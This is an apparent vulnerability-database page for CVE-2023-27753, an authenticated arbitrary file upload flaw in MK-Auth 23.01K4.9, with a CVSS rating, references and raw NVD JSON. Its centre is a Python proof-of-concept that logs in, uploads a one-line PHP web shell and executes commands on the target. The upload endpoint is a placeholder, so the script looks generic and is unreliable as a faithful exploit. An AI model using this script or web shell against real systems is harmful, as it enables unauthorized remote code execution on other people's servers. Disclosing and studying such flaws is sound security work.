CVE-2023-27753

Description

An arbitrary file upload vulnerability in MK-Auth 23.01K4.9 allows attackers to execute arbitrary code via uploading a crafted PHP file.

CVSS Details

CVSS Score

8.0

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MK-Auth 23.01K4.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-ip/mk-auth"
login_url = f"{target_url}/index.php"
upload_url = f"{target_url}/upload_endpoint" 
shell_url = f"{target_url}/uploads/shell.php"

# Attacker credentials
username = "attacker"
password = "password"

# 1. Login to get session
session = requests.Session()
payload = {
    "usuario": username,
    "senha": password
}
response = session.post(login_url, data=payload)
if "dashboard" not in response.text:
    print("Login failed")
    exit()

# 2. Upload malicious PHP file
# PHP code to execute system command (e.g., 'whoami')
php_code = "<?php system($_GET['cmd']); ?>"
files = {
    'file': ('shell.php', php_code, 'application/octet-stream')
}
upload_response = session.post(upload_url, files=files)

if upload_response.status_code == 200:
    print("File uploaded successfully")
    
    # 3. Execute the code
    cmd = "whoami"
    exploit_response = session.get(f"{shell_url}?cmd={cmd}")
    print(f"Command output: {exploit_response.text}")
else:
    print("Upload failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-27753
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-27753
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-27753/
[4] VulDB https://vuldb.com/cve/CVE-2023-27753
[5] https://github.com/yueslly/MKAUTH-RCE
[6] https://github.com/yueslly/MKAUTH-RCE/blob/main/README.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2023-27753", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:11.200", "lastModified": "2026-05-13T15:48:11.537", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file upload vulnerability in MK-Auth 23.01K4.9 allows attackers to execute arbitrary code via uploading a crafted PHP file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/yueslly/MKAUTH-RCE", "source": "[email protected]"}, {"url": "https://github.com/yueslly/MKAUTH-RCE/blob/main/README.md", "source": "[email protected]"}]}}